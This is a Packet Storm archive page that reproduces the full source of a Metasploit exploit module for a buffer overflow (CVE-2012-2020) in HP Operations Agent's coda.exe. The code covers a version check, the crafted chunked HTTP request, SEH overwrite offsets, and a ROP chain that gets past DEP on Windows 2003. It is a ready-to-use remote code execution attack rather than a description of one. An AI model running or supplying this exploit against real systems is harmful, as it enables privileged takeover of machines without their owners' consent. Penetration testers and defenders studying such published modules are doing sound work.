exploit the possibilities

HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow

HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow
Posted Oct 28, 2012
Authored by Luigi Auriemma, juan vazquez | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability in HP Operations Agent for Windows. The vulnerability exists in the HP Software Performance Core Program component (coda.exe) when parsing requests for the 0x8c opcode. This Metasploit module has been tested successfully on HP Operations Agent 11.00 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass). The coda.exe components runs only for localhost by default, network access must be granted through its configuration to be remotely exploitable. On the other hand it runs on a random TCP port, to make easier reconnaissance a check function is provided.

tags | exploit, overflow, tcp
systems | windows, xp
advisories | CVE-2012-2020, OSVDB-83674
MD5 | ed46381d56c1f2696222cd8dc6d151c7

HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize
super(
'Name' => 'HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability in HP Operations Agent for
Windows. The vulnerability exists in the HP Software Performance Core Program
component (coda.exe) when parsing requests for the 0x8c opcode. This module has
been tested successfully on HP Operations Agent 11.00 over Windows XP SP3 and
Windows 2003 SP2 (DEP bypass).

The coda.exe components runs only for localhost by default, network access must be
granted through its configuration to be remotely exploitable. On the other hand it
runs on a random TCP port, to make easier reconnaissance a check function is
provided.
},
'Author' => [
'Luigi Auriemma', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2012-2020' ],
[ 'OSVDB', '83674' ],
[ 'BID', '54362' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-115/' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
'DisableNops' => true
},
'Targets' =>
[
[ 'HP Operations Agent 11.00 / Windows XP SP3',
{
'Ret' => 0x100e79eb, # ppr from OvSecCore.dll
'Offset' => 2084
}
],
[ 'HP Operations Agent 11.00 / Windows 2003 SP2',
{
'Ret' => 0x10073c2c, # stackpivot # ADD ESP,404 # RETN from OvSecCore.dll
'Offset' => 2084,
'RopOffset' => 36
}
]
],
'DefaultTarget' => 1,
'Privileged' => true,
'DisclosureDate' => 'Jul 09 2012'
)

end

def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end

def nop
return make_nops(4).unpack("V")[0].to_i
end

def check

res = ping

if not res
return Exploit::CheckCode::Unknown
end

if res !~ /HTTP\/1\.1 200 OK/
return Exploit::CheckCode::Unknown
end

if res =~ /server:.*coda 11.(\d+)/
minor = $1.to_i
if minor < 2
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

if res =~ /server:.*coda/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe

end

def ping

ping_request = <<-eos
Ping /Hewlett-Packard/OpenView/BBC/ping/ HTTP/1.1
cache-control: no-cache
connection: close
content-length: 0
content-type: application/octetstream
host: #{rhost}:#{rport}
pragma: no-cache
targetid: unknown
targeturi: http://#{rhost}:#{rport}/Hewlett-Packard/OpenView/BBC/ping/
user-agent: BBC 11.00.044; coda unknown version

eos

connect
sock.put(ping_request)
res = sock.get_once(-1, 1)
disconnect

return res

end

def exploit

peer = "#{rhost}:#{rport}"

print_status "#{peer} - Ping host..."
res = ping
if not res or res !~ /HTTP\/1\.1 200 OK/ or res !~ /server:.*coda/
print_error("#{peer} - Host didn't answer correctly to ping")
return
end

connect

http_headers = <<-eos
GET /Hewlett-Packard/OpenView/Coda/ HTTP/1.1
cache-control: no-cache
content-type: application/octetstream
expect: 100-continue
host: #{rhost}:#{rport}
pragma: no-cache
targetid: unknown
targeturi: http://[#{rhost}]:#{rport}/Hewlett-Packard/OpenView/Coda/
transfer-encoding: chunked
user-agent: BBC 11.00.044; 14

eos

print_status("#{peer} - Sending HTTP Expect...")
sock.put(http_headers)
res = sock.get_once(-1, 1)
if not res or res !~ /HTTP\/1\.1 100 Continue/
print_error("#{peer} - Failed while sending HTTP Expect Header")
return
end

coda_request = [
0x0000000e,
0xffffffff,
0x00000000,
0x0000008c, # Operation 0x8c
0x00000002,
0x00000002
].pack("N*")

if target.name =~ /Windows XP/
bof = rand_text(target['Offset'])
bof << generate_seh_record(target.ret)
bof << payload.encoded
bof << rand_text(4000) # Allows to trigger exception
else # Windows 2003
rop_gadgets =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
bof = Rex::Text.pattern_create(target['RopOffset'])
bof << rop_gadgets
bof << payload.encoded
my_payload_length = target['RopOffset'] + rop_gadgets.length + payload.encoded.length
bof << rand_text(target['Offset'] - my_payload_length)
bof << generate_seh_record(target.ret)
bof << rand_text(4000) # Allows to trigger exception
end

coda_request << [bof.length].pack("n")
coda_request << bof

http_body = coda_request.length.to_s(16)
http_body << "\x0d\x0a"
http_body << coda_request
http_body << "\x0d\x0a\x0d\x0a"

print_status("#{peer} - Triggering overflow...")
sock.put(http_body)

disconnect
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close